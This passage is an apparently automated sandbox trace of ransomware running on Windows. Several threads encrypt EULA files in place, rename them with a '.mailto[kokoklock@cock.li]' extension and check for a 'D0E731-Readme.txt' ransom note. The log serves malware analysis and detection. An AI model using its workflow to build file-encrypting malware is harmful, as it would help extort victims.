out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" [0080.279] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731" [0080.279] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.280] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.280] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm", dwFileAttributes=0x20) returned 0 [0080.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.280] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.280] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.280] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0080.280] RtlExitUserThread (Status=0x1) Thread: id = 1004 os_tid = 0x16b4 [0080.276] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm")) returned 0x20 [0080.282] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm", dwFileAttributes=0x20) returned 1 [0080.282] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.282] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2433fe28 | out: lpFileSize=0x2433fe28*=63101) returned 1 [0080.282] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xf679, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.282] ReadFile (in: hFile=0x448, lpBuffer=0x2433fdfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x2433fdfc*, lpNumberOfBytesRead=0x2433fdf8*=0x4, lpOverlapped=0x0) returned 1 [0080.284] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491588 [0080.284] NtQuerySystemTime (in: CurrentTime=0x2433fdd4 | out: CurrentTime=0x2433fdd4*=132121176381778684) returned 0x0 [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xecf182bc [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xd3975821 [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xfea5bf61 [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x276620b6 [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x62157c5e [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xcec7c086 [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xd2f7d444 [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xed87227f [0080.284] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xd762153b [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x14f2de7 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xc663cf5c [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x84c8ec4f [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x92e3009d [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xa1bede61 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xb77270c5 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x5e581964 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x217c5a11 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x6c241bbc [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x9575a02e [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x683f4045 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xb4d33ba2 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x656e7455 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x46403111 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xfe860eb [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xe34004c6 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xaca13095 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x505bfd41 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xa6baee05 [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xbf180a8b [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xb63c030d [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0xcd47b3dc [0080.285] RtlRandom (in: Seed=0x2433fde0 | out: Seed=0x2433fde0) returned 0x94c50c52 [0080.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.296] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.296] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2433fdac, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2433fdac*=0x4096, lpOverlapped=0x0) returned 1 [0080.312] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915b0 [0080.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.313] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2433fdac, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2433fdac*=0x4096, lpOverlapped=0x0) returned 1 [0080.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.313] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xf67d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.313] WriteFile (in: hFile=0x448, lpBuffer=0x34915b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2433fde4, lpOverlapped=0x0 | out: lpBuffer=0x34915b0*, lpNumberOfBytesWritten=0x2433fde4*=0x20, lpOverlapped=0x0) returned 1 [0080.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34915b0) returned 1 [0080.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.313] WriteFile (in: hFile=0x448, lpBuffer=0x3491650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x3491650*, lpNumberOfBytesWritten=0x2433fdf8*=0x8, lpOverlapped=0x0) returned 1 [0080.313] WriteFile (in: hFile=0x448, lpBuffer=0x2433fe10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x2433fe10*, lpNumberOfBytesWritten=0x2433fdf8*=0x4, lpOverlapped=0x0) returned 1 [0080.313] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2433fdf8*=0x4, lpOverlapped=0x0) returned 1 [0080.314] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2433fdf8*=0x6c, lpOverlapped=0x0) returned 1 [0080.314] WriteFile (in: hFile=0x448, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x2433fdf8*=0x20, lpOverlapped=0x0) returned 1 [0080.314] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2433fdf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2433fdf8*=0x4, lpOverlapped=0x0) returned 1 [0080.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491650) returned 1 [0080.314] CloseHandle (hObject=0x448) returned 1 [0080.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.314] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" [0080.314] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731" [0080.314] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.315] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.315] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm", dwFileAttributes=0x20) returned 0 [0080.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.315] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.315] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.315] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0080.315] RtlExitUserThread (Status=0x1) Thread: id = 1005 os_tid = 0x16b8 [0080.297] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm")) returned 0x20 [0080.298] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm", dwFileAttributes=0x20) returned 1 [0080.298] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.298] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x243bff00 | out: lpFileSize=0x243bff00*=70746) returned 1 [0080.298] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x11456, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.298] ReadFile (in: hFile=0x450, lpBuffer=0x243bfed4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x243bfed4*, lpNumberOfBytesRead=0x243bfed0*=0x4, lpOverlapped=0x0) returned 1 [0080.316] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915b0 [0080.316] NtQuerySystemTime (in: CurrentTime=0x243bfeac | out: CurrentTime=0x243bfeac*=132121176382124811) returned 0x0 [0080.316] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x163df504 [0080.316] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x8223537e [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x569e6b2a [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x297e37d5 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x6331aaa6 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x75c68d11 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x858605fe [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xbe4a0ec9 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x757c96a2 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x24e083db [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xb4e3e0e3 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xd7e4c443 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x9030e7d [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x6c02fd71 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x5c3b5f5e [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x54f9f34f [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xb3718fa5 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x5b4be40e [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x336982fd [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x1537e398 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xe2f84835 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x95795411 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x8cef3490 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x85d96236 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x6c2475f7 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xa68c67e5 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xd013a4d3 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xdf729b79 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xb8f4ed4c [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0x3cbe0aeb [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xe9738ec8 [0080.317] RtlRandom (in: Seed=0x243bfeb8 | out: Seed=0x243bfeb8) returned 0xcc76ea1a [0080.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.328] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.328] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x243bfe84, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x243bfe84*=0x4096, lpOverlapped=0x0) returned 1 [0080.329] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.329] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.329] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.329] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915d8 [0080.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.330] WriteFile (in: hFile=0x450, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x243bfe84, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x243bfe84*=0x4096, lpOverlapped=0x0) returned 1 [0080.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.330] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1145a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.330] WriteFile (in: hFile=0x450, lpBuffer=0x34915d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x243bfebc, lpOverlapped=0x0 | out: lpBuffer=0x34915d8*, lpNumberOfBytesWritten=0x243bfebc*=0x20, lpOverlapped=0x0) returned 1 [0080.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34915d8) returned 1 [0080.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.330] WriteFile (in: hFile=0x450, lpBuffer=0x3491650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x3491650*, lpNumberOfBytesWritten=0x243bfed0*=0x8, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0x450, lpBuffer=0x243bfee8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x243bfee8*, lpNumberOfBytesWritten=0x243bfed0*=0x4, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x243bfed0*=0x4, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x243bfed0*=0x6c, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0x450, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x243bfed0*=0x20, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x243bfed0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x243bfed0*=0x4, lpOverlapped=0x0) returned 1 [0080.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491650) returned 1 [0080.331] CloseHandle (hObject=0x450) returned 1 [0080.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.331] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" [0080.331] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731" [0080.331] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.332] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.332] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm", dwFileAttributes=0x20) returned 0 [0080.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.332] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.332] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.332] GetFileAttributesW 